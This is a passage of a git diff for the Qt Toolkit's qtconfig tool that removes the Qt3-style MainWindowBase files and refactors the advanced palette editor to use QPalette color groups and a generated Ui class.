+    </hint>
+   </hints>
+  </connection>
+  <connection>
+   <sender>fontEmbeddingCheckBox</sender>
+   <signal>toggled(bool)</signal>
+   <receiver>fontPathsGroup</receiver>
+   <slot>setEnabled(bool)</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>449</x>
+     <y>69</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>447</x>
+     <y>94</y>
+    </hint>
+   </hints>
+  </connection>
+ </connections>
 </ui>
diff --git a/tools/qtconfig/mainwindowbase.cpp b/tools/qtconfig/mainwindowbase.cpp
deleted file mode 100644
index efca58b..0000000
--- a/tools/qtconfig/mainwindowbase.cpp
+++ /dev/null
@@ -1,250 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "mainwindowbase.h"
-#include "colorbutton.h"
-#include "previewframe.h"
-
-#include <QVariant>
-#include <QImage>
-#include <QPixmap>
-
-QT_BEGIN_NAMESPACE
-
-/*
- *  Constructs a MainWindowBase as a child of 'parent', with the
- *  name 'name' and widget flags set to 'f'.
- *
- */
-MainWindowBase::MainWindowBase(QWidget* parent, const char* name, Qt::WindowFlags fl)
-    : Q3MainWindow(parent, name, fl)
-{
-    setupUi(this);
-
-    (void)statusBar();
-
-    // signals and slots connections
-    connect(fontpathlineedit, SIGNAL(returnPressed()), this, SLOT(addFontpath()));
-    connect(PushButton15, SIGNAL(clicked()), this, SLOT(addFontpath()));
-    connect(PushButton1, SIGNAL(clicked()), this, SLOT(addSubstitute()));
-    connect(PushButton14, SIGNAL(clicked()), this, SLOT(browseFontpath()));
-    connect(stylecombo, SIGNAL(activated(int)), this, SLOT(buildFont()));
-    connect(psizecombo, SIGNAL(activated(int)), this, SLOT(buildFont()));
-    connect(PushButton12, SIGNAL(clicked()), this, SLOT(downFontpath()));
-    connect(PushButton3, SIGNAL(clicked()), this, SLOT(downSubstitute()));
-    connect(familycombo, SIGNAL(activated(QString)), this, SLOT(familySelected(QString)));
-    connect(fileExitAction, SIGNAL(activated()), this, SLOT(fileExit()));
-    connect(fileSaveAction, SIGNAL(activated()), this, SLOT(fileSave()));
-    connect(helpAboutAction, SIGNAL(activated()), this, SLOT(helpAbout()));
-    connect(helpAboutQtAction, SIGNAL(activated()), this, SLOT(helpAboutQt()));
-    connect(TabWidget3, SIGNAL(currentChanged(QWidget*)), this, SLOT(pageChanged(QWidget*)));
-    connect(paletteCombo, SIGNAL(activated(int)), this, SLOT(paletteSelected(int)));
-    connect(PushButton13, SIGNAL(clicked()), this, SLOT(removeFontpath()));
-    connect(PushButton4, SIGNAL(clicked()), this, SLOT(removeSubstitute()));
-    connect(effectcheckbox, SIGNAL(toggled(bool)), effectbase, SLOT(setEnabled(bool)));
-    connect(fontembeddingcheckbox, SIGNAL(toggled(bool)), GroupBox10, SLOT(setEnabled(bool)));
-    connect(toolboxeffect, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(dcispin, SIGNAL(valueChanged(int)), this, SLOT(somethingModified()));
-    connect(cfispin, SIGNAL(valueChanged(int)), this, SLOT(somethingModified()));
-    connect(wslspin, SIGNAL(valueChanged(int)), this, SLOT(somethingModified()));
-    connect(menueffect, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(comboeffect, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(audiosinkCombo, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(videomodeCombo, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(tooltipeffect, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(strutwidth, SIGNAL(valueChanged(int)), this, SLOT(somethingModified()));
-    connect(strutheight, SIGNAL(valueChanged(int)), this, SLOT(somethingModified()));
-    connect(effectcheckbox, SIGNAL(toggled(bool)), this, SLOT(somethingModified()));
-    connect(resolvelinks, SIGNAL(toggled(bool)), this, SLOT(somethingModified()));
-    connect(fontembeddingcheckbox, SIGNAL(clicked()), this, SLOT(somethingModified()));
-    connect(rtlExtensions, SIGNAL(toggled(bool)), this, SLOT(somethingModified()));
-    connect(inputStyle, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(inputMethod, SIGNAL(activated(int)), this, SLOT(somethingModified()));
-    connect(gstylecombo, SIGNAL(activated(QString)), this, SLOT(styleSelected(QString)));
-    connect(familysubcombo, SIGNAL(activated(QString)), this, SLOT(substituteSelected(QString)));
-    connect(btnAdvanced, SIGNAL(clicked()), this, SLOT(tunePalette()));
-    connect(PushButton11, SIGNAL(clicked()), this, SLOT(upFontpath()));
-    connect(PushButton2, SIGNAL(clicked()), this, SLOT(upSubstitute()));
-    init();
-}
-
-/*
- *  Destroys the object and frees any allocated resources
- */
-MainWindowBase::~MainWindowBase()
-{
-    destroy();
-    // no need to delete child widgets, Qt does it all for us
-}
-
-/*
- *  Sets the strings of the subwidgets using the current
- *  language.
- */
-void MainWindowBase::languageChange()
-{
-    retranslateUi(this);
-}
-
-void MainWindowBase::init()
-{
-}
-
-void MainWindowBase::destroy()
-{
-}
-
-void MainWindowBase::addFontpath()
-{
-    qWarning("MainWindowBase::addFontpath(): Not implemented yet");
-}
-
-void MainWindowBase::addSubstitute()
-{
-    qWarning("MainWindowBase::addSubstitute(): Not implemented yet");
-}
-
-void MainWindowBase::browseFontpath()
-{
-    qWarning("MainWindowBase::browseFontpath(): Not implemented yet");
-}
-
-void MainWindowBase::buildFont()
-{
-    qWarning("MainWindowBase::buildFont(): Not implemented yet");
-}
-
-void MainWindowBase::buildPalette()
-{
-    qWarning("MainWindowBase::buildPalette(): Not implemented yet");
-}
-
-void MainWindowBase::downFontpath()
-{
-    qWarning("MainWindowBase::downFontpath(): Not implemented yet");
-}
-
-void MainWindowBase::downSubstitute()
-{
-    qWarning("MainWindowBase::downSubstitute(): Not implemented yet");
-}
-
-void MainWindowBase::familySelected( const QString &)
-{
-    qWarning("MainWindowBase::familySelected( const QString &): Not implemented yet");
-}
-
-void MainWindowBase::fileExit()
-{
-    qWarning("MainWindowBase::fileExit(): Not implemented yet");
-}
-
-void MainWindowBase::fileSave()
-{
-    qWarning("MainWindowBase::fileSave(): Not implemented yet");
-}
-
-void MainWindowBase::helpAbout()
-{
-    qWarning("MainWindowBase::helpAbout(): Not implemented yet");
-}
-
-void MainWindowBase::helpAboutQt()
-{
-    qWarning("MainWindowBase::helpAboutQt(): Not implemented yet");
-}
-
-void MainWindowBase::new_slot()
-{
-    qWarning("MainWindowBase::new_slot(): Not implemented yet");
-}
-
-void MainWindowBase::pageChanged( QWidget *)
-{
-    qWarning("MainWindowBase::pageChanged( QWidget *): Not implemented yet");
-}
-
-void MainWindowBase::paletteSelected(int)
-{
-    qWarning("MainWindowBase::paletteSelected(int): Not implemented yet");
-}
-
-void MainWindowBase::removeFontpath()
-{
-    qWarning("MainWindowBase::removeFontpath(): Not implemented yet");
-}
-
-void MainWindowBase::removeSubstitute()
-{
-    qWarning("MainWindowBase::removeSubstitute(): Not implemented yet");
-}
-
-void MainWindowBase::somethingModified()
-{
-    qWarning("MainWindowBase::somethingModified(): Not implemented yet");
-}
-
-void MainWindowBase::styleSelected( const QString &)
-{
-    qWarning("MainWindowBase::styleSelected( const QString &): Not implemented yet");
-}
-
-void MainWindowBase::substituteSelected( const QString &)
-{
-    qWarning("MainWindowBase::substituteSelected( const QString &): Not implemented yet");
-}
-
-void MainWindowBase::tunePalette()
-{
-    qWarning("MainWindowBase::tunePalette(): Not implemented yet");
-}
-
-void MainWindowBase::upFontpath()
-{
-    qWarning("MainWindowBase::upFontpath(): Not implemented yet");
-}
-
-void MainWindowBase::upSubstitute()
-{
-    qWarning("MainWindowBase::upSubstitute(): Not implemented yet");
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qtconfig/mainwindowbase.h b/tools/qtconfig/mainwindowbase.h
deleted file mode 100644
index 97c6716..0000000
--- a/tools/qtconfig/mainwindowbase.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef MAINWINDOWBASE_H
-#define MAINWINDOWBASE_H
-
-#include "ui_mainwindowbase.h"
-#include <QVariant>
-
-QT_BEGIN_NAMESPACE
-
-class ColorButton;
-class PreviewFrame;
-
-class MainWindowBase : public Q3MainWindow, public Ui::MainWindowBase
-{
-    Q_OBJECT
-
-public:
-    MainWindowBase(QWidget* parent = 0, const char* name = 0, Qt::WindowFlags fl = Qt::Window);
-    ~MainWindowBase();
-
-public slots:
-    virtual void addFontpath();
-    virtual void addSubstitute();
-    virtual void browseFontpath();
-    virtual void buildFont();
-    virtual void buildPalette();
-    virtual void downFontpath();
-    virtual void downSubstitute();
-    virtual void familySelected( const QString & );
-    virtual void fileExit();
-    virtual void fileSave();
-    virtual void helpAbout();
-    virtual void helpAboutQt();
-    virtual void new_slot();
-    virtual void pageChanged( QWidget * );
-    virtual void paletteSelected( int );
-    virtual void removeFontpath();
-    virtual void removeSubstitute();
-    virtual void somethingModified();
-    virtual void styleSelected( const QString & );
-    virtual void substituteSelected( const QString & );
-    virtual void tunePalette();
-    virtual void upFontpath();
-    virtual void upSubstitute();
-
-protected slots:
-    virtual void languageChange();
-
-    virtual void init();
-    virtual void destroy();
-};
-
-QT_END_NAMESPACE
-
-#endif // MAINWINDOWBASE_H
diff --git a/tools/qtconfig/paletteeditoradvanced.cpp b/tools/qtconfig/paletteeditoradvanced.cpp
index 5f28413..4797ead 100644
--- a/tools/qtconfig/paletteeditoradvanced.cpp
+++ b/tools/qtconfig/paletteeditoradvanced.cpp
@@ -38,58 +38,74 @@
 ** $QT_END_LICENSE$
 **
 ****************************************************************************/
-
+#include "ui_paletteeditoradvanced.h"
 #include "paletteeditoradvanced.h"
 #include "colorbutton.h"
 
-#include <QCheckBox>
-#include <QComboBox>
-#include <QApplication>
-#include <QPushButton>
-#include <QPainter>
-#include <QGroupBox>
-
 QT_BEGIN_NAMESPACE
 
-PaletteEditorAdvanced::PaletteEditorAdvanced( QWidget * parent,
-                                              const char * name, bool modal, Qt::WindowFlags f )
-    : PaletteEditorAdvancedBase( parent, name, modal, f ), selectedPalette(0)
+PaletteEditorAdvanced::PaletteEditorAdvanced(QWidget *parent)
+    : QDialog(parent), ui(new Ui::PaletteEditorAdvanced), selectedPalette(0)
 {
-    // work around buggy UI file
-    comboEffect->setEnabled(false);
+    ui->setupUi(this);
+
+    // create a ColorButton's
+    buttonCentral = new ColorButton(ui->groupCentral);
+    buttonCentral->setToolTip(tr("Choose a color"));
+    buttonCentral->setWhatsThis(tr("Choose a color for the selected central color role."));
+    ui->layoutCentral->addWidget(buttonCentral);
+    ui->labelCentral->setBuddy(buttonCentral);
+
+    buttonEffect = new ColorButton(ui->groupEffect);
+    buttonEffect->setToolTip(tr("Choose a color"));
+    buttonEffect->setWhatsThis(tr("Choose a color for the selected effect color role."));
     buttonEffect->setEnabled(false);
+    ui->layoutEffect->addWidget(buttonEffect);
+    ui->labelEffect->setBuddy(buttonEffect);
+
+    // signals and slots connections
+    connect(ui->paletteCombo, SIGNAL(activated(int)), SLOT(paletteSelected(int)));
+    connect(ui->comboCentral, SIGNAL(activated(int)), SLOT(onCentral(int)));
+    connect(buttonCentral, SIGNAL(clicked()), SLOT(onChooseCentralColor()));
+    connect(buttonEffect, SIGNAL(clicked()), SLOT(onChooseEffectColor()));
+    connect(ui->comboEffect, SIGNAL(activated(int)), SLOT(onEffect(int)));
+    connect(ui->checkBuildEffect, SIGNAL(toggled(bool)), SLOT(onToggleBuildEffects(bool)));
+    connect(ui->checkBuildEffect, SIGNAL(toggled(bool)), buttonEffect, SLOT(setDisabled(bool)));
+    connect(ui->checkBuildInactive, SIGNAL(toggled(bool)), SLOT(onToggleBuildInactive(bool)));
+    connect(ui->checkBuildDisabled, SIGNAL(toggled(bool)), SLOT(onToggleBuildDisabled(bool)));
+
     onToggleBuildEffects(true);
 
     editPalette = QApplication::palette();
-    setPreviewPalette( editPalette );
 }
 
 PaletteEditorAdvanced::~PaletteEditorAdvanced()
 {
+    delete ui;
 }
 
-void PaletteEditorAdvanced::onToggleBuildInactive( bool v )
+void PaletteEditorAdvanced::onToggleBuildInactive(bool v)
 {
     if (selectedPalette == 1) {
-        groupCentral->setDisabled(v);
-        groupEffect->setDisabled(v);
+        ui->groupCentral->setDisabled(v);
+        ui->groupEffect->setDisabled(v);
     }
 
     if (v) {
-        buildInactive();
+        build(QPalette::Inactive);
         updateColorButtons();
     }
 }
 
-void PaletteEditorAdvanced::onToggleBuildDisabled( bool v )
+void PaletteEditorAdvanced::onToggleBuildDisabled(bool v)
 {
     if (selectedPalette == 2) {
-        groupCentral->setDisabled(v);
-        groupEffect->setDisabled(v);
+        ui->groupCentral->setDisabled(v);
+        ui->groupEffect->setDisabled(v);
     }
 
     if (v) {
-        buildDisabled();
+        build(QPalette::Disabled);
         updateColorButtons();
     }
 }
@@ -99,402 +115,204 @@ void PaletteEditorAdvanced::paletteSelected(int p)
     selectedPalette = p;
 
     if(p == 1) { // inactive
-        groupCentral->setDisabled(checkBuildInactive->isChecked());
-        groupEffect->setDisabled(checkBuildInactive->isChecked());
-    }
-    else if (p == 2) { // disabled
-        groupCentral->setDisabled(checkBuildDisabled->isChecked());
-        groupEffect->setDisabled(checkBuildDisabled->isChecked());
-    }
-    else {
-        groupCentral->setEnabled(true);
-        groupEffect->setEnabled(true);
+        ui->groupCentral->setDisabled(ui->checkBuildInactive->isChecked());
+        ui->groupEffect->setDisabled(ui->checkBuildInactive->isChecked());
+    } else if (p == 2) { // disabled
+        ui->groupCentral->setDisabled(ui->checkBuildDisabled->isChecked());
+        ui->groupEffect->setDisabled(ui->checkBuildDisabled->isChecked());
+    } else {
+        ui->groupCentral->setEnabled(true);
+        ui->groupEffect->setEnabled(true);
     }
     updateColorButtons();
 }
 
 void PaletteEditorAdvanced::onChooseCentralColor()
 {
-    switch(selectedPalette) {
-    case 0:
-    default:
-        mapToActiveCentralRole( buttonCentral->color() );
-        break;
-    case 1:
-        mapToInactiveCentralRole( buttonCentral->color() );
-        break;
-    case 2:
-        mapToDisabledCentralRole( buttonCentral->color() );
-        break;
+    QPalette::ColorGroup group = groupFromIndex(selectedPalette);
+    editPalette.setColor(group, centralFromIndex(ui->comboCentral->currentIndex()),
+                         buttonCentral->color());
+
+    buildEffect(group);
+    if (group == QPalette::Active) {
+        if(ui->checkBuildInactive->isChecked())
+            build(QPalette::Inactive);
+        if(ui->checkBuildDisabled->isChecked())
+            build(QPalette::Disabled);
     }
+
     updateColorButtons();
 }
 
 void PaletteEditorAdvanced::onChooseEffectColor()
 {
-    switch(selectedPalette) {
-    case 0:
-    default:
-        mapToActiveEffectRole( buttonEffect->color() );
-        break;
-    case 1:
-        mapToInactiveEffectRole( buttonEffect->color() );
-        break;
-    case 2:
-        mapToDisabledEffectRole( buttonEffect->color() );
-        break;
+    QPalette::ColorGroup group = groupFromIndex(selectedPalette);
+    editPalette.setColor(group, effectFromIndex(ui->comboEffect->currentIndex()),
+                         buttonEffect->color());
+
+    if (group == QPalette::Active) {
+        if(ui->checkBuildInactive->isChecked())
+            build(QPalette::Inactive);
+        if(ui->checkBuildDisabled->isChecked())
+            build(QPalette::Disabled);
     }
-    updateColorButtons();
-}
 
-void PaletteEditorAdvanced::onToggleBuildEffects( bool on )
-{
-    if (!on) return;
-    buildActiveEffect();
-    buildInactiveEffect();
-    buildDisabledEffect();
+    updateColorButtons();
 }
 
-QColorGroup::ColorRole PaletteEditorAdvanced::centralFromItem( int item )
+void PaletteEditorAdvanced::onToggleBuildEffects(bool on)
 {
-    switch( item ) {
-        case 0:
-            return QColorGroup::Window;
-        case 1:
-            return QColorGroup::WindowText;
-        case 2:
-            return QColorGroup::Button;
-        case 3:
-            return QColorGroup::Base;
-        case 4:
-            return QColorGroup::Text;
-        case 5:
-            return QColorGroup::BrightText;
-        case 6:
-            return QColorGroup::ButtonText;
-        case 7:
-            return QColorGroup::Highlight;
-        case 8:
-            return QColorGroup::HighlightedText;
-        default:
-            return QColorGroup::NColorRoles;
+    if (on) {
+        for (int i = 0; i < QPalette::NColorGroups; i++)
+            buildEffect(QPalette::ColorGroup(i));
     }
 }
 
-QColorGroup::ColorRole PaletteEditorAdvanced::effectFromItem( int item )
-
+QPalette::ColorGroup PaletteEditorAdvanced::groupFromIndex(int item)
 {
-    switch( item ) {
+    switch (item) {
     case 0:
-        return QColorGroup::Light;
+    default:
+        return QPalette::Active;
     case 1:
-        return QColorGroup::Midlight;
+        return QPalette::Inactive;
     case 2:
-        return QColorGroup::Mid;
-    case 3:
-        return QColorGroup::Dark;
-    case 4:
-        return QColorGroup::Shadow;
-    default:
-        return QColorGroup::NColorRoles;
+        return QPalette::Disabled;
     }
 }
 
-void PaletteEditorAdvanced::onCentral( int item )
+QPalette::ColorRole PaletteEditorAdvanced::centralFromIndex(int item)
 {
-    QColor c;
-
-    switch(selectedPalette) {
+    switch (item) {
     case 0:
-    default:
-        c = editPalette.active().color( centralFromItem(item) );
-        break;
+        return QPalette::Window;
     case 1:
-        c = editPalette.inactive().color( centralFromItem(item) );
-        break;
+        return QPalette::WindowText;
     case 2:
-        c =  editPalette.disabled().color( centralFromItem(item) );
-        break;
+        return QPalette::Base;
+    case 3:
+        return QPalette::AlternateBase;
+    case 4:
+        return QPalette::ToolTipBase;
+    case 5:
+        return QPalette::ToolTipText;
+    case 6:
+        return QPalette::Text;
+    case 7:
+        return QPalette::Button;
+    case 8:
+        return QPalette::ButtonText;
+    case 9:
+        return QPalette::BrightText;
+    case 10:
+        return QPalette::Highlight;
+    case 11:
+        return QPalette::HighlightedText;
+    case 12:
+        return QPalette::Link;
+    case 13:
+        return QPalette::LinkVisited;
+    default:
+        return QPalette::NoRole;
     }
-
-    buttonCentral->setColor(c);
 }
 
-void PaletteEditorAdvanced::onEffect( int item )
+QPalette::ColorRole PaletteEditorAdvanced::effectFromIndex(int item)
 {
-    QColor c;
-    switch(selectedPalette) {
+    switch (item) {
     case 0:
-    default:
-        c = editPalette.active().color( effectFromItem(item) );
-        break;
+        return QPalette::Light;
     case 1:
-        editPalette.inactive().color( effectFromItem(item) );
-        break;
+        return QPalette::Midlight;
     case 2:
-        editPalette.disabled().color( effectFromItem(item) );
-        break;
+        return QPalette::Mid;
+    case 3:
+        return QPalette::Dark;
+    case 4:
+        return QPalette::Shadow;
+    default:
+        return QPalette::NoRole;
     }
-    buttonEffect->setColor(c);
-}
-
-void PaletteEditorAdvanced::mapToActiveCentralRole( const QColor& c )
-{
-    QColorGroup cg = editPalette.active();
-    cg.setColor( centralFromItem(comboCentral->currentItem()), c );
-    editPalette.setActive( cg );
-
-    buildActiveEffect();
-    if(checkBuildInactive->isChecked())
-        buildInactive();
-    if(checkBuildDisabled->isChecked())
-        buildDisabled();
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToActiveEffectRole( const QColor& c )
-{
-    QColorGroup cg = editPalette.active();
-    cg.setColor( effectFromItem(comboEffect->currentItem()), c );
-    editPalette.setActive( cg );
-
-    if(checkBuildInactive->isChecked())
-        buildInactive();
-    if(checkBuildDisabled->isChecked())
-        buildDisabled();
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToActivePixmapRole( const QPixmap& pm )
-{
-    QColorGroup::ColorRole role = centralFromItem(comboCentral->currentItem());
-    QColorGroup cg = editPalette.active();
-    if (  !pm.isNull()  )
-        cg.setBrush( role, QBrush( cg.color( role ), pm ) );
-    else
-        cg.setBrush( role, QBrush( cg.color( role ) ) );
-    editPalette.setActive( cg );
-
-
-    buildActiveEffect();
-    if(checkBuildInactive->isChecked())
-        buildInactive();
-    if(checkBuildDisabled->isChecked())
-        buildDisabled();
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToInactiveCentralRole( const QColor& c )
-{
-    QColorGroup cg = editPalette.inactive();
-    cg.setColor( centralFromItem(comboCentral->currentItem()), c );
-    editPalette.setInactive( cg );
-
-    buildInactiveEffect();
-
-    setPreviewPalette( editPalette );
 }
 
-void PaletteEditorAdvanced::mapToInactiveEffectRole( const QColor& c )
+void PaletteEditorAdvanced::onCentral(int item)
 {
-    QColorGroup cg = editPalette.inactive();
-    cg.setColor( effectFromItem(comboEffect->currentItem()), c );
-    editPalette.setInactive( cg );
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToInactivePixmapRole( const QPixmap& pm )
-{
-    QColorGroup::ColorRole role = centralFromItem(comboCentral->currentItem());
-    QColorGroup cg = editPalette.inactive();
-    if (  !pm.isNull()  )
-        cg.setBrush( role, QBrush( cg.color( role ), pm ) );
-    else
-        cg.setBrush( role, QBrush( cg.color( role ) ) );
-    editPalette.setInactive( cg );
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToDisabledCentralRole( const QColor& c )
-{
-    QColorGroup cg = editPalette.disabled();
-    cg.setColor( centralFromItem(comboCentral->currentItem()), c );
-    editPalette.setDisabled( cg );
-
-    buildDisabledEffect();
-
-    setPreviewPalette( editPalette );
-}
-
-void PaletteEditorAdvanced::mapToDisabledEffectRole( const QColor& c )
-{
-    QColorGroup cg = editPalette.disabled();
-    cg.setColor( effectFromItem(comboEffect->currentItem()), c );
-    editPalette.setDisabled( cg );
-
-    setPreviewPalette( editPalette );
+    QColor c = editPalette.color(groupFromIndex(selectedPalette), centralFromIndex(item));
+    buttonCentral->setColor(c);
 }
 
-void PaletteEditorAdvanced::mapToDisabledPixmapRole( const QPixmap& pm )
+void PaletteEditorAdvanced::onEffect(int item)
 {
-    QColorGroup::ColorRole role = centralFromItem(comboCentral->currentItem());
-    QColorGroup cg = editPalette.disabled();
-    if (  !pm.isNull()  )
-        cg.setBrush( role, QBrush( cg.color( role ), pm ) );
-    else
-        cg.setBrush( role, QBrush( cg.color( role ) ) );
-
-    editPalette.setDisabled( cg );
-
-    setPreviewPalette( editPalette );
+    QColor c = editPalette.color(groupFromIndex(selectedPalette), effectFromIndex(item));
+    buttonEffect->setColor(c);
 }
 
-void PaletteEditorAdvanced::buildActiveEffect()
+QPalette PaletteEditorAdvanced::buildEffect(QPalette::ColorGroup colorGroup,
+                                            const QPalette &basePalette)
 {
-    QColorGroup cg = editPalette.active();
-    QColor btn = cg.color( QColorGroup::Button );
-
-    QPalette temp( btn, btn );
-
-    for (int i = 0; i<5; i++)
-        cg.setColor( effectFromItem(i), temp.active().color( effectFromItem(i) ) );
+    QPalette result(basePalette);
 
-    editPalette.setActive( cg );
-    setPreviewPalette( editPalette );
+    if (colorGroup == QPalette::Active) {
+        QPalette calculatedPalette(basePalette.color(colorGroup, QPalette::Button),
+                                   basePalette.color(colorGroup, QPalette::Window));
 
-    updateColorButtons();
-}
+        for (int i = 0; i < 5; i++) {
+            QPalette::ColorRole effectRole = effectFromIndex(i);
+            result.setColor(colorGroup, effectRole,
+                            calculatedPalette.color(colorGroup, effectRole));
+        }
+    } else {
+        QColor btn = basePalette.color(colorGroup, QPalette::Button);
 
-void PaletteEditorAdvanced::buildInactive()
-{
-    editPalette.setInactive( editPalette.active() );
-    if ( checkBuildEffect->isChecked() )
-        buildInactiveEffect();
-    else {
-        setPreviewPalette( editPalette );
-        updateColorButtons();
+        result.setColor(colorGroup, QPalette::Light, btn.lighter());
+        result.setColor(colorGroup, QPalette::Midlight, btn.lighter(115));
+        result.setColor(colorGroup, QPalette::Mid, btn.darker(150));
+        result.setColor(colorGroup, QPalette::Dark, btn.darker());
+        result.setColor(colorGroup, QPalette::Shadow, Qt::black);
     }
 
+    return result;
 }
 
-void PaletteEditorAdvanced::buildInactiveEffect()
+void PaletteEditorAdvanced::buildEffect(QPalette::ColorGroup colorGroup)
 {
-    QColorGroup cg = editPalette.inactive();
-
-    QColor light, midlight, mid, dark, shadow;
-    QColor btn = cg.color( QColorGroup::Button );
-
-    light = btn.light(150);
-    midlight = btn.light(115);
-    mid = btn.dark(150);
-    dark = btn.dark();
-    shadow = Qt::black;
-
-    cg.setColor( QColorGroup::Light, light );
-    cg.setColor( QColorGroup::Midlight, midlight );
-    cg.setColor( QColorGroup::Mid, mid );
-    cg.setColor( QColorGroup::Dark, dark );
-    cg.setColor( QColorGroup::Shadow, shadow );
-
-    editPalette.setInactive( cg );
-    setPreviewPalette( editPalette );
+    editPalette = buildEffect(colorGroup, editPalette);
     updateColorButtons();
 }
 
-void PaletteEditorAdvanced::buildDisabled()
+void PaletteEditorAdvanced::build(QPalette::ColorGroup colorGroup)
 {
-    QColorGroup cg = editPalette.active();
-    cg.setColor( QColorGroup::ButtonText, Qt::darkGray );
-    cg.setColor( QColorGroup::WindowText, Qt::darkGray );
-    cg.setColor( QColorGroup::Text, Qt::darkGray );
-    cg.setColor( QColorGroup::HighlightedText, Qt::darkGray );
-    editPalette.setDisabled( cg );
-
-    if ( checkBuildEffect->isChecked() )
-        buildDisabledEffect();
-    else {
-        setPreviewPalette( editPalette );
-        updateColorButtons();
-    }
-}
-
-void PaletteEditorAdvanced::buildDisabledEffect()
-{
-    QColorGroup cg = editPalette.disabled();
-
-    QColor light, midlight, mid, dark, shadow;
-    QColor btn = cg.color( QColorGroup::Button );
-
-    light = btn.light(150);
-    midlight = btn.light(115);
-    mid = btn.dark(150);
-    dark = btn.dark();
-    shadow = Qt::black;
+    if (colorGroup != QPalette::Active) {
+        for (int i = 0; i < QPalette::NColorRoles; i++)
+            editPalette.setColor(colorGroup, QPalette::ColorRole(i),
+                                 editPalette.color(QPalette::Active, QPalette::ColorRole(i)));
 
-    cg.setColor( QColorGroup::Light, light );
-    cg.setColor( QColorGroup::Midlight, midlight );
-    cg.setColor( QColorGroup::Mid, mid );
-    cg.setColor( QColorGroup::Dark, dark );
-    cg.setColor( QColorGroup::Shadow, shadow );
+        if (colorGroup == QPalette::Disabled) {
+            editPalette.setColor(colorGroup, QPalette::ButtonText, Qt::darkGray);
+            editPalette.setColor(colorGroup, QPalette::WindowText, Qt::darkGray);
+            editPalette.setColor(colorGroup, QPalette::Text, Qt::darkGray);
+            editPalette.setColor(colorGroup, QPalette::HighlightedText, Qt::darkGray);
+        }
 
-    editPalette.setDisabled( cg );
-    setPreviewPalette( editPalette );
-    updateColorButtons();
-}
-
-void PaletteEditorAdvanced::setPreviewPalette( const QPalette& pal )
-{
-    QColorGroup cg;
-
-    switch (selectedPalette) {
-    case 0:
-    default:
-        cg = pal.active();
-        break;
-    case 1:
-        cg = pal.inactive();
-        break;
-    case 2:
-        cg = pal.disabled();
-        break;
+        if (ui->checkBuildEffect->isChecked())
+            buildEffect(colorGroup);
+        else
+            updateColorButtons();
     }
-    previewPalette.setActive( cg );
-    previewPalette.setInactive( cg );
-    previewPalette.setDisabled( cg );
 }
 
 void PaletteEditorAdvanced::updateColorButtons()
 {
-    QColor central, effect;
-    switch (selectedPalette) {
-    case 0:
-    default:
-        central = editPalette.active().color( centralFromItem( comboCentral->currentItem() ) );
-        effect = editPalette.active().color( effectFromItem( comboEffect->currentItem() ) );
-        break;
-    case 1:
-        central = editPalette.inactive().color( centralFromItem( comboCentral->currentItem() ) );
-        effect = editPalette.inactive().color( effectFromItem( comboEffect->currentItem() ) );
-        break;
-    case 2:
-        central = editPalette.disabled().color( centralFromItem( comboCentral->currentItem() ) );
-        effect = editPalette.disabled().color( effectFromItem( comboEffect->currentItem() ) );
-        break;
-    }
-
-    buttonCentral->setColor(central);
-    buttonEffect->setColor(effect);
+    QPalette::ColorGroup colorGroup = groupFromIndex(selectedPalette);
+    buttonCentral->setColor(editPalette.color(colorGroup,
